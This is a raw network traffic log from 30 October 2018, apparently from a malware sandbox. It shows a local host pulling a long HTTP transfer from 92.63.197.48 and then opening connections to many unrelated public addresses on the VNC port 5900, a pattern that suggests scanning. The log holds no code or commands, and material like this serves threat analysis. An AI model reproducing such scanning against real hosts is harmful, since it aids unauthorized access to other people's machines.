Oct 30, 2018 14:45:46.882734060 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.882774115 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.882791996 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.882808924 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.882839918 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.882872105 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.882884026 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.882904053 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.882935047 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.882965088 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.882976055 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.882997036 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.883016109 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.883028030 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.883059025 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.883073092 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.883090019 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.883121014 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.883152008 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.883177042 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.883182049 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.883213043 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.883244038 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.883275032 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.883286953 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.883306980 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.883337975 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.883368015 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.883378029 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.883399010 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.883466005 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.883508921 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.883565903 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.883661985 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.883861065 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.928158998 CET	51798	5900	192.168.1.81	135.246.155.170
Oct 30, 2018 14:45:46.938740015 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.938791037 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.938812971 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.938836098 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.938858986 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.938893080 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.938932896 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.938971043 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939003944 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939013958 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.939033985 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939074993 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939095974 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.939109087 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939131975 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939173937 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.939174891 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939210892 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939234018 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939275980 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939291000 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.939316034 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939337015 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939356089 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939374924 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939378977 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.939415932 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939440966 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939461946 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939481974 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.939483881 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939553976 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939604998 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.939651966 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.939707994 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939737082 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939754009 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939760923 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.939805031 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939824104 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.939879894 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.940001965 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.940434933 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.943955898 CET	51718	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:46.970144987 CET	53	51718	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:46.994874954 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.994944096 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.994976997 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995007992 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.995016098 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995084047 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995124102 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995150089 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995163918 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.995176077 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995203972 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995228052 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995253086 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995260000 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.995275974 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995301008 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995338917 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.995345116 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995379925 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995388985 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.995405912 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995450020 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995464087 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.995476961 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995511055 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995532990 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.995554924 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995578051 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.995601892 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995626926 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.995629072 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995654106 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995680094 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995704889 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995729923 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995729923 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.995755911 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995779991 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995805025 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995819092 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.995830059 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:46.995886087 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.996025085 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:46.996381998 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.051057100 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.051158905 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.051521063 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.051577091 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.051588058 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.051604033 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.051640987 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.051664114 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.051672935 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.051687002 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.051717997 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.051740885 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.051769972 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.051784992 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.051819086 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.051846981 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.051858902 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.051879883 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.051894903 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.051911116 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.051922083 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.051990032 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.052057028 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.052225113 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.052544117 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.052591085 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.052654982 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.052706003 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.052735090 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.052759886 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.052782059 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.052835941 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.052859068 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.052876949 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.052901030 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.052923918 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.052944899 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.052963018 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.052989006 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.053011894 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.053025007 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.053036928 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.053061008 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.053085089 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.053097010 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.053128958 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.053173065 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.053337097 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.053661108 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.107702971 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.107822895 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.108201027 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.108267069 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.108385086 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.108434916 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.108465910 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.108469009 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.108500004 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.108531952 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.108568907 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.108597994 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.108598948 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.108629942 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.108659983 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.108690977 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.108691931 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.108721972 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.108752966 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.108782053 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.109929085 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.109963894 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.110019922 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.110021114 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.110064030 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.110090017 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.110114098 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.110147953 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.110152960 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.110178947 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.110244036 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.110290051 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.110316038 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.110340118 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.110342026 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.110369921 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.110388041 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.110411882 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.110436916 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.110444069 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.110462904 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.110522985 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.110692024 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.110858917 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.131398916 CET	51800	5900	192.168.1.81	84.96.35.182
Oct 30, 2018 14:45:47.131474018 CET	51801	5900	192.168.1.81	143.150.208.224
Oct 30, 2018 14:45:47.172256947 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.172326088 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.172358036 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.172441959 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.172463894 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.172492981 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.172518015 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.172521114 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.172569990 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.172594070 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.172641039 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.172647953 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.172688961 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.172724009 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.172755957 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.172795057 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.172830105 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.172853947 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.172864914 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.172894001 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.172916889 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.172926903 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.172976971 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.172988892 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.173002958 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.173032999 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.173068047 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.173072100 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.173104048 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.173129082 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.173155069 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.173175097 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.173178911 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.173203945 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.173233986 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.173261881 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.173281908 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.173289061 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.173316956 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.173341990 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.173356056 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.173366070 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.173443079 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.173574924 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.173796892 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.175565004 CET	51839	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:47.230849028 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.230896950 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.230921030 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.230941057 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.231014013 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.311294079 CET	5900	51839	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:47.311463118 CET	51839	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:47.334403992 CET	51802	5900	192.168.1.81	132.38.228.61
Oct 30, 2018 14:45:47.356365919 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:47.356472969 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:47.428677082 CET	51803	5900	192.168.1.81	118.28.62.188
Oct 30, 2018 14:45:47.445024014 CET	5900	51839	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:47.445185900 CET	51839	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:47.492645025 CET	58806	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:47.531246901 CET	53	58806	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:47.537276030 CET	51804	5900	192.168.1.81	104.105.58.170
Oct 30, 2018 14:45:47.578186989 CET	5900	51839	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:47.578232050 CET	5900	51839	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:47.578299999 CET	51839	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:47.578362942 CET	51839	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:47.578584909 CET	51848	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:47.704703093 CET	5900	51799	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:47.705104113 CET	51851	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:47.707083941 CET	5900	51848	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:47.707170010 CET	51848	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:47.711921930 CET	5900	51839	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:47.712003946 CET	51839	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:47.740529060 CET	51805	5900	192.168.1.81	175.197.197.147
Oct 30, 2018 14:45:47.740586042 CET	51806	5900	192.168.1.81	179.181.226.54
Oct 30, 2018 14:45:47.789549112 CET	51855	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:47.835649967 CET	5900	51848	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:47.835758924 CET	51848	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:47.928028107 CET	51808	5900	192.168.1.81	169.214.80.55
Oct 30, 2018 14:45:47.964107037 CET	5900	51848	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:47.964206934 CET	5900	51848	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:47.964287043 CET	51848	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:47.964360952 CET	51848	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:48.023616076 CET	5900	51851	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:48.023730040 CET	51851	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:48.026341915 CET	5900	51855	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:48.026442051 CET	51855	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:48.055166960 CET	61995	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:48.067490101 CET	53	61995	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:48.131453991 CET	51809	5900	192.168.1.81	184.18.131.252
Oct 30, 2018 14:45:48.131571054 CET	51810	5900	192.168.1.81	45.71.124.135
Oct 30, 2018 14:45:48.295522928 CET	5900	51811	139.165.6.57	192.168.1.81
Oct 30, 2018 14:45:48.296227932 CET	51867	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:48.326142073 CET	5900	51867	139.165.6.57	192.168.1.81
Oct 30, 2018 14:45:48.326328993 CET	51867	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:48.333178997 CET	5900	51855	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:48.333646059 CET	5900	51855	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:48.333826065 CET	51855	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:48.428236961 CET	51812	5900	192.168.1.81	122.185.22.115
Oct 30, 2018 14:45:48.537134886 CET	51813	5900	192.168.1.81	116.68.60.158
Oct 30, 2018 14:45:48.632724047 CET	51814	5900	192.168.1.81	190.44.120.63
Oct 30, 2018 14:45:48.632790089 CET	51815	5900	192.168.1.81	174.202.173.243
Oct 30, 2018 14:45:48.640502930 CET	5900	51855	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:48.640805006 CET	5900	51855	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:48.640903950 CET	5900	51855	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:48.640957117 CET	51855	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:48.641022921 CET	51855	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:48.641331911 CET	51872	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:48.740310907 CET	51816	5900	192.168.1.81	177.20.109.186
Oct 30, 2018 14:45:48.833873987 CET	51817	5900	192.168.1.81	200.174.244.51
Oct 30, 2018 14:45:48.949279070 CET	5900	51872	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:48.949415922 CET	51872	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:49.037415028 CET	51818	5900	192.168.1.81	76.18.81.93
Oct 30, 2018 14:45:49.131539106 CET	51819	5900	192.168.1.81	57.193.168.23
Oct 30, 2018 14:45:49.228008986 CET	51269	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:49.241369009 CET	51820	5900	192.168.1.81	159.54.240.127
Oct 30, 2018 14:45:49.255548000 CET	5900	51872	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:49.256175995 CET	5900	51872	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:49.256400108 CET	51872	5900	192.168.1.81	168.105.226.96
